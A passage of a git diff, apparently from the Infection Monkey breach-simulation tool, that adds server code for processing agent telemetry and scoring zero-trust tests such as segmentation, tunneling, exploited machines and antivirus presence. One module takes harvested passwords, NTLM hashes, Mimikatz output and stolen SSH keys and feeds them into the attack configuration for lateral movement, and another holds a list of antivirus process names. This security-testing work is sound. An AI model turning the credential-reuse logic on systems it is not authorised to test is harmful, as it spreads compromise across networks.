mongo.db.node.find_one({"_id": edge["to"]}) + if node is not None: + scan_os = new_scan["data"]["os"] + if "type" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.type": scan_os["type"]}}, + upsert=False) + if "version" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.version": scan_os["version"]}}, + upsert=False) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py new file mode 100644 index 000000000..4e164e900 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -0,0 +1,17 @@ +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \ + test_passed_findings_for_unreached_segments + + +def process_state_telemetry(telemetry_json): + monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + NodeService.add_communication_info(monkey, telemetry_json['command_control_channel']) + if telemetry_json['data']['done']: + NodeService.set_monkey_dead(monkey, True) + else: + NodeService.set_monkey_dead(monkey, False) + + if telemetry_json['data']['done']: + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + test_passed_findings_for_unreached_segments(current_monkey) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py new file mode 100644 index 000000000..a970c0cd4 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -0,0 +1,105 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey +from monkey_island.cc.services import mimikatz_utils +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import test_antivirus_existence +from monkey_island.cc.services.wmi_handler import WMIHandler +from monkey_island.cc.encryptor import encryptor + + +def process_system_info_telemetry(telemetry_json): + process_ssh_info(telemetry_json) + process_credential_info(telemetry_json) + process_mimikatz_and_wmi_info(telemetry_json) + process_aws_data(telemetry_json) + update_db_with_new_hostname(telemetry_json) + test_antivirus_existence(telemetry_json) + + +def process_ssh_info(telemetry_json): + if 'ssh_info' in telemetry_json['data']: + ssh_info = telemetry_json['data']['ssh_info'] + encrypt_system_info_ssh_keys(ssh_info) + if telemetry_json['data']['network_info']['networks']: + # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry + add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) + add_system_info_ssh_keys_to_config(ssh_info) + + +def add_system_info_ssh_keys_to_config(ssh_info): + for user in ssh_info: + ConfigService.creds_add_username(user['name']) + # Public key is useless without private key + if user['public_key'] and user['private_key']: + ConfigService.ssh_add_keys(user['public_key'], user['private_key'], + user['name'], user['ip']) + + +def add_ip_to_ssh_keys(ip, ssh_info): + for key in ssh_info: + key['ip'] = ip['addr'] + + +def encrypt_system_info_ssh_keys(ssh_info): + for idx, user in enumerate(ssh_info): + for field in ['public_key', 'private_key', 'known_hosts']: + if ssh_info[idx][field]: + ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) + + +def process_credential_info(telemetry_json): + if 'credentials' in telemetry_json['data']: + creds = telemetry_json['data']['credentials'] + encrypt_system_info_creds(creds) + add_system_info_creds_to_config(creds) + replace_user_dot_with_comma(creds) + + +def replace_user_dot_with_comma(creds): + for user in creds: + if -1 != user.find('.'): + new_user = user.replace('.', ',') + creds[new_user] = creds.pop(user) + + +def add_system_info_creds_to_config(creds): + for user in creds: + ConfigService.creds_add_username(user) + if 'password' in creds[user]: + ConfigService.creds_add_password(creds[user]['password']) + if 'lm_hash' in creds[user]: + ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) + if 'ntlm_hash' in creds[user]: + ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + + +def encrypt_system_info_creds(creds): + for user in creds: + for field in ['password', 'lm_hash', 'ntlm_hash']: + if field in creds[user]: + # this encoding is because we might run into passwords which are not pure ASCII + creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) + + +def process_mimikatz_and_wmi_info(telemetry_json): + users_secrets = {} + if 'mimikatz' in telemetry_json['data']: + users_secrets = mimikatz_utils.MimikatzSecrets. \ + extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) + if 'wmi' in telemetry_json['data']: + monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') + wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) + wmi_handler.process_and_handle_wmi_info() + + +def process_aws_data(telemetry_json): + if 'aws' in telemetry_json['data']: + if 'instance_id' in telemetry_json['data']['aws']: + monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') + mongo.db.monkey.update_one({'_id': monkey_id}, + {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}}) + + +def update_db_with_new_hostname(telemetry_json): + Monkey.get_single_monkey_by_id(telemetry_json['_id']).set_hostname(telemetry_json['data']['hostname']) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py new file mode 100644 index 000000000..1598b144a --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py @@ -0,0 +1,13 @@ +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field +from monkey_island.cc.services.telemetry.zero_trust_tests.tunneling import test_tunneling_violation + + +def process_tunnel_telemetry(telemetry_json): + test_tunneling_violation(telemetry_json) + monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] + if telemetry_json['data']['proxy'] is not None: + tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(telemetry_json) + NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip) + else: + NodeService.unset_all_monkey_tunnels(monkey_id) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/utils.py b/monkey/monkey_island/cc/services/telemetry/processing/utils.py new file mode 100644 index 000000000..466b81bf1 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/utils.py @@ -0,0 +1,18 @@ +from monkey_island.cc.services.edge import EdgeService +from monkey_island.cc.services.node import NodeService + + +def get_edge_by_scan_or_exploit_telemetry(telemetry_json): + dst_ip = telemetry_json['data']['machine']['ip_addr'] + dst_domain_name = telemetry_json['data']['machine']['domain_name'] + src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + dst_node = NodeService.get_monkey_by_ip(dst_ip) + if dst_node is None: + dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name) + + return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) + + +def get_tunnel_host_ip_from_proxy_field(telemetry_json): + tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") + return tunnel_host_ip diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py new file mode 100644 index 000000000..b8b8c559b --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py @@ -0,0 +1,47 @@ +import json + +from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, \ + STATUS_PASSED, STATUS_FAILED, TEST_ENDPOINT_SECURITY_EXISTS +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.services.telemetry.zero_trust_tests.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES + + +def test_antivirus_existence(telemetry_json): + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + if 'process_list' in telemetry_json['data']: + process_list_event = Event.create_event( + title="Process list", + message="Monkey on {} scanned the process list".format(current_monkey.hostname), + event_type=EVENT_TYPE_MONKEY_LOCAL) + events = [process_list_event] + + av_processes = filter_av_processes(telemetry_json) + + for process in av_processes: + events.append(Event.create_event( + title="Found AV process", + message="The process '{}' was recognized as an Anti Virus process. Process " + "details: {}".format(process[1]['name'], json.dumps(process[1])), + event_type=EVENT_TYPE_MONKEY_LOCAL + )) + + if len(av_processes) > 0: + test_status = STATUS_PASSED + else: + test_status = STATUS_FAILED + AggregateFinding.create_or_add_to_existing( + test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events + ) + + +def filter_av_processes(telemetry_json): + all_processes = telemetry_json['data']['process_list'].items() + av_processes = [] + for process in all_processes: + process_name = process[1]['name'] + # This is for case-insensitive `in`. Generator expression is to save memory. + if process_name.upper() in (known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES): + av_processes.append(process) + return av_processes diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py new file mode 100644 index 000000000..6c5b1154b --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py @@ -0,0 +1,37 @@ +from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK, STATUS_FAILED, TEST_COMMUNICATE_AS_NEW_USER, \ + STATUS_PASSED +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.event import Event + +COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}" +COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ + "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}" + + +def test_new_user_communication(current_monkey, success, message): + AggregateFinding.create_or_add_to_existing( + test=TEST_COMMUNICATE_AS_NEW_USER, + # If the monkey succeeded to create a user, then the test failed. + status=STATUS_FAILED if success else STATUS_PASSED, + events=[ + get_attempt_event(current_monkey), + get_result_event(current_monkey, message, success) + ] + ) + + +def get_attempt_event(current_monkey): + tried_to_communicate_event = Event.create_event( + title="Communicate as new user", + message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname), + event_type=EVENT_TYPE_MONKEY_NETWORK) + return tried_to_communicate_event + + +def get_result_event(current_monkey, message, success): + message_format = COMM_AS_NEW_USER_SUCCEEDED_FORMAT if success else COMM_AS_NEW_USER_FAILED_FORMAT + + return Event.create_event( + title="Communicate as new user", + message=message_format.format(current_monkey.hostname, message), + event_type=EVENT_TYPE_MONKEY_NETWORK) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py new file mode 100644 index 000000000..68a7f713d --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -0,0 +1,70 @@ +import json + +from common.data.network_consts import ES_SERVICE +from common.data.zero_trust_consts import * +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline +from monkey_island.cc.models.zero_trust.event import Event + +HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] + + +def test_open_data_endpoints(telemetry_json): + services = telemetry_json["data"]["machine"]["services"] + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + found_http_server_status = STATUS_PASSED + found_elastic_search_server = STATUS_PASSED + + events = [ + Event.create_event( + title="Scan Telemetry", + message="Monkey on {} tried to perform a network scan, the target was {}.".format( + current_monkey.hostname, + telemetry_json["data"]["machine"]["ip_addr"]), + event_type=EVENT_TYPE_MONKEY_NETWORK, + timestamp=telemetry_json["timestamp"] + ) + ] + + for service_name, service_data in services.items(): + events.append(Event.create_event( + title="Scan telemetry analysis", + message="Scanned service: {}.".format(service_name), + event_type=EVENT_TYPE_MONKEY_NETWORK + )) + if service_name in HTTP_SERVERS_SERVICES_NAMES: + found_http_server_status = STATUS_FAILED + events.append(Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data) + ), + event_type=EVENT_TYPE_MONKEY_NETWORK + )) + if service_name == ES_SERVICE: + found_elastic_search_server = STATUS_FAILED + events.append(Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data) + ), + event_type=EVENT_TYPE_MONKEY_NETWORK + )) + + AggregateFinding.create_or_add_to_existing( + test=TEST_DATA_ENDPOINT_HTTP, + status=found_http_server_status, + events=events + ) + + AggregateFinding.create_or_add_to_existing( + test=TEST_DATA_ENDPOINT_ELASTIC, + status=found_elastic_search_server, + events=events + ) + + add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py new file mode 100644 index 000000000..e5d7c2355 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py @@ -0,0 +1,87 @@ +ANTI_VIRUS_KNOWN_PROCESS_NAMES = [ + u"AvastSvc.exe", + u"AvastUI.exe", + u"avcenter.exe", + u"avconfig.exe", + u"avgcsrvx.exe", + u"avgidsagent.exe", + u"avgnt.exe", + u"avgrsx.exe", + u"avguard.exe", + u"avgui.exe", + u"avgwdsvc.exe", + u"avp.exe", + u"avscan.exe", + u"bdagent.exe", + u"ccuac.exe", + u"egui.exe", + u"hijackthis.exe", + u"instup.exe", + u"keyscrambler.exe", + u"mbam.exe", + u"mbamgui.exe", + u"mbampt.exe", + u"mbamscheduler.exe", + u"mbamservice.exe", + u"MpCmdRun.exe", + u"MSASCui.exe", + u"MsMpEng.exe", + u"rstrui.exe", + u"spybotsd.exe", + u"zlclient.exe", + u"SymCorpUI.exe", + u"ccSvcHst.exe", + u"ccApp.exe", + u"LUALL.exe", + u"SMC.exe", + u"SMCgui.exe", + u"Rtvscan.exe", + u"LuComServer.exe", + u"ProtectionUtilSurrogate.exe", + u"ClientRemote.exe", + u"SemSvc.exe", + u"SemLaunchSvc.exe", + u"sesmcontinst.exe", + u"LuCatalog.exe", + u"LUALL.exe", + u"LuCallbackProxy.exe", + u"LuComServer_3_3.exe", + u"httpd.exe", + u"dbisqlc.exe", + u"dbsrv16.exe", + u"semapisrv.exe", + u"snac64.exe", + u"AutoExcl.exe", + u"DoScan.exe", + u"nlnhook.exe", + u"SavUI.exe", + u"SepLiveUpdate.exe", + u"Smc.exe", + u"SmcGui.exe", + u"SymCorpUI.exe", + u"symerr.exe", + u"ccSvcHst.exe", + u"DevViewer.exe", + u"DWHWizrd.exe", + u"RtvStart.exe", + u"roru.exe", + u"WSCSAvNotifier", + # Guardicore Centra + # Linux + u"gc-agents-service", + u"gc-guest-agent", + u"gc-guardig", + u"gc-digger", + u"gc-fastpath", + u"gc-enforcement-agent", + u"gc-enforcement-channel", + u"gc-detection-agent", + # Windows + u"gc-guest-agent.exe", + u"gc-windig.exe", + u"gc-digger.exe", + u"gc-fastpath.exe", + u"gc-enforcement-channel.exe", + u"gc-enforcement-agent.exe", + u"gc-agent-ui.exe" +] diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py new file mode 100644 index 000000000..454f3a7fe --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -0,0 +1,39 @@ +from common.data.zero_trust_consts import * +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline +from monkey_island.cc.models.zero_trust.event import Event + + +def test_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp): + events = [ + Event.create_event( + title="Exploit attempt", + message="Monkey on {} attempted to exploit {} using {}.".format( + current_monkey.hostname, + target_ip, + exploiter), + event_type=EVENT_TYPE_MONKEY_NETWORK, + timestamp=timestamp + ) + ] + status = STATUS_PASSED + if exploit_successful: + events.append( + Event.create_event( + title="Exploit success!", + message="Monkey on {} successfully exploited {} using {}.".format( + current_monkey.hostname, + target_ip, + exploiter), + event_type=EVENT_TYPE_MONKEY_NETWORK, + timestamp=timestamp) + ) + status = STATUS_FAILED + + AggregateFinding.create_or_add_to_existing( + test=TEST_MACHINE_EXPLOITED, + status=status, + events=events + ) + + add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py new file mode 100644 index 000000000..50e60e493 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -0,0 +1,110 @@ +import itertools +from six import text_type + +from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED +from common.network.network_range import NetworkRange +from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst, get_ip_if_in_subnet +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding +from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups + +SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \ + "from `{src_seg}` segments to `{dst_seg}` segments." + +SEGMENTATION_VIOLATION_EVENT_TEXT = \ + "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \ + "managed to communicate cross segment to {target_ip} (in segment {target_seg})." + + +def test_segmentation_violation(current_monkey, target_ip): + # TODO - lower code duplication between this and report.py. + subnet_groups = get_config_network_segments_as_subnet_groups() + for subnet_group in subnet_groups: + subnet_pairs = itertools.product(subnet_group, subnet_group) + for subnet_pair in subnet_pairs: + source_subnet = subnet_pair[0] + target_subnet = subnet_pair[1] + if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): + event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) + SegmentationFinding.create_or_add_to_existing_finding( + subnets=[source_subnet, target_subnet], + status=STATUS_FAILED, + segmentation_event=event + ) + + +def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): + # type: (Monkey, str, str, str) -> bool + """ + Checks is a specific communication is a segmentation violation. + :param current_monkey: The source monkey which originated the communication. + :param target_ip: The target with which the current monkey communicated with. + :param source_subnet: The segment the monkey belongs to. + :param target_subnet: Another segment which the monkey isn't supposed to communicate with. + :return: True if this is a violation of segmentation between source_subnet and target_subnet; Otherwise, False. + """ + if source_subnet == target_subnet: + return False + source_subnet_range = NetworkRange.get_range_obj(source_subnet) + target_subnet_range = NetworkRange.get_range_obj(target_subnet) + + if target_subnet_range.is_in_range(text_type(target_ip)): + cross_segment_ip = get_ip_in_src_and_not_in_dst( + current_monkey.ip_addresses, + source_subnet_range, + target_subnet_range) + + return cross_segment_ip is not None + + +def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet): + return Event.create_event( + title="Segmentation event", + message=SEGMENTATION_VIOLATION_EVENT_TEXT.format( + hostname=current_monkey.hostname, + source_ip=get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet)), + source_seg=source_subnet, + target_ip=target_ip, + target_seg=target_subnet + ), + event_type=EVENT_TYPE_MONKEY_NETWORK + ) + + +def test_passed_findings_for_unreached_segments(current_monkey): + flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist] + create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey) + + +def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): + # Filter the subnets that this monkey is part of. + this_monkey_subnets = [] + for subnet in all_subnets: + if get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) is not None: + this_monkey_subnets.append(subnet) + + # Get all the other subnets. + other_subnets = list(set(all_subnets) - set(this_monkey_subnets)) + + # Calculate the cartesian product - (this monkey subnets X other subnets). These pairs are the pairs that the monkey + # should have tested. + all_subnets_pairs_for_this_monkey = itertools.product(this_monkey_subnets, other_subnets) + + for subnet_pair in all_subnets_pairs_for_this_monkey: + SegmentationFinding.create_or_add_to_existing_finding( + subnets=list(subnet_pair), + status=STATUS_PASSED, + segmentation_event=get_segmentation_done_event(current_monkey, subnet_pair) + ) + + +def get_segmentation_done_event(current_monkey, subnet_pair): + return Event.create_event( + title="Segmentation test done", + message=SEGMENTATION_DONE_EVENT_TEXT.format( + hostname=current_monkey.hostname, + src_seg=subnet_pair[0], + dst_seg=subnet_pair[1]), + event_type=EVENT_TYPE_MONKEY_NETWORK + ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py new file mode 100644 index 000000000..5f986e3b5 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py @@ -0,0 +1,46 @@ +import uuid + +from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_PASSED, STATUS_FAILED, \ + EVENT_TYPE_MONKEY_NETWORK +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding +from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import create_or_add_findings_for_all_pairs +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + +FIRST_SUBNET = "1.1.1.1" +SECOND_SUBNET = "2.2.2.0/24" +THIRD_SUBNET = "3.3.3.3-3.3.3.200" + + +class TestSegmentationTests(IslandTestCase): + def test_create_findings_for_all_done_pairs(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + all_subnets = [FIRST_SUBNET, SECOND_SUBNET, THIRD_SUBNET] + + monkey = Monkey( + guid=str(uuid.uuid4()), + ip_addresses=[FIRST_SUBNET]) + + # no findings + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0) + + # This is like the monkey is done and sent done telem + create_or_add_findings_for_all_pairs(all_subnets, monkey) + + # There are 2 subnets in which the monkey is NOT + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 2) + + # This is a monkey from 2nd subnet communicated with 1st subnet. + SegmentationFinding.create_or_add_to_existing_finding( + [FIRST_SUBNET, SECOND_SUBNET], + STATUS_FAILED, + Event.create_event(title="sdf", message="asd", event_type=EVENT_TYPE_MONKEY_NETWORK) + ) + + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 1) + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_FAILED)), 1) + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 2) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py new file mode 100644 index 000000000..ce34c2bb4 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py @@ -0,0 +1,27 @@ +from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field + + +def test_tunneling_violation(tunnel_telemetry_json): + if tunnel_telemetry_json['data']['proxy'] is not None: + # Monkey is tunneling, create findings + tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(tunnel_telemetry_json) + current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json['monkey_guid']) + tunneling_events = [Event.create_event( + title="Tunneling event", + message="Monkey on {hostname} tunneled traffic through {proxy}.".format( + hostname=current_monkey.hostname, proxy=tunnel_host_ip), + event_type=EVENT_TYPE_MONKEY_NETWORK, + timestamp=tunnel_telemetry_json['timestamp'] + )] + + AggregateFinding.create_or_add_to_existing( + test=TEST_TUNNELING, + status=STATUS_FAILED, + events=tunneling_events + ) + + add_malicious_activity_to_timeline(tunneling_events) diff --git a/monkey/monkey_island/cc/testing/IslandTestCase.py b/monkey/monkey_island/cc/testing/IslandTestCase.py new file mode 100644 index 000000000..6bca20f4a --- /dev/null +++ b/monkey/monkey_island/cc/testing/IslandTestCase.py @@ -0,0 +1,17 @@ +import unittest +from monkey_island.cc.environment.environment import env +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.finding import Finding + + +class IslandTestCase(unittest.TestCase): + def fail_if_not_testing_env(self): + self.failIf(not env.testing, "Change server_config.json to testing environment.") + + @staticmethod + def clean_monkey_db(): + Monkey.objects().delete() + + @staticmethod + def clean_finding_db(): + Finding.objects().delete() diff --git a/monkey/monkey_island/cc/testing/__init__.py b/monkey/monkey_island/cc/testing/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 58208ef24..f366d73bd 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -156,18 +156,23 @@ } }, "@babel/runtime-corejs2": { - "version": "7.1.5", - "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.1.5.tgz", - "integrity": "sha512-WsYRwQsFhVmxkAqwypPTZyV9GpkqMEaAr2zOItOmqSX2GBFaI+eq98CN81e13o0zaUKJOQGYyjhNVqj56nnkYg==", + "version": "7.4.3", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.4.3.tgz", + "integrity": "sha512-anTLTF7IK8Hd5f73zpPzt875I27UaaTWARJlfMGgnmQhvEe1uNHQRKBUbXL0Gc0VEYiVzsHsTPso5XdK8NGvFg==", "requires": { - "core-js": "^2.5.7", - "regenerator-runtime": "^0.12.0" + "core-js": "^2.6.5", + "regenerator-runtime": "^0.13.2" }, "dependencies": { + "core-js": { + "version": "2.6.5", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.5.tgz", + "integrity": "sha512-klh/kDpwX8hryYL14M9w/xei6vrv6sE8gTHDG7/T/+SEovB/G4ejwcfE/CBzO6Edsu+OETZMZ3wcX/EjUkrl5A==" + }, "regenerator-runtime": { - "version": "0.12.1", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.12.1.tgz", - "integrity": "sha512-odxIc1/vDlo4iZcfXqRYFj0vpXFNoGdKMAUieAlFYO6m/nl5e9KR/beGf41z4a1FI+aQgtjhuaSlDxQ0hmkrHg==" + "version": "0.13.2", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.2.tgz", + "integrity": "sha512-S/TQAZJO+D3m9xeN1WTI8dLKBBiRgXBlTJvbWjCThHWZj9EvHK70Ff50/tYj2J/fvBY6JtFVwRuazHN2E7M9BA==" } } }, @@ -331,6 +336,11 @@ "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.2.2.tgz", "integrity": "sha512-n/VQ4mbfr81aqkx/XmVicOLjviMuy02eenSdJY33SVA7S2J42EU0P1H0mOogfYedb3wXA0d/LVtBrgTSm04WEA==" }, + "@kunukn/react-collapse": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.0.5.tgz", + "integrity": "sha1-g7BZ6nflM6g+NH6RK0dknyvAxps=" + }, "@webassemblyjs/ast": { "version": "1.7.8", "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.7.8.tgz", @@ -518,8 +528,7 @@ "abbrev": { "version": "1.0.9", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.0.9.tgz", - "integrity": "sha1-kbR5JYinc4wl813W9jdSovh3YTU=", - "dev": true + "integrity": "sha1-kbR5JYinc4wl813W9jdSovh3YTU=" }, "accepts": { "version": "1.3.5", @@ -621,7 +630,6 @@ "resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz", "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=", "dev": true, - "optional": true, "requires": { "kind-of": "^3.0.2", "longest": "^1.0.1", @@ -631,8 +639,7 @@ "amdefine": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz", - "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", - "dev": true + "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=" }, "ansi-colors": { "version": "3.1.0", @@ -655,14 +662,12 @@ "ansi-regex": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true + "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=" }, "ansi-styles": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", - "integrity": 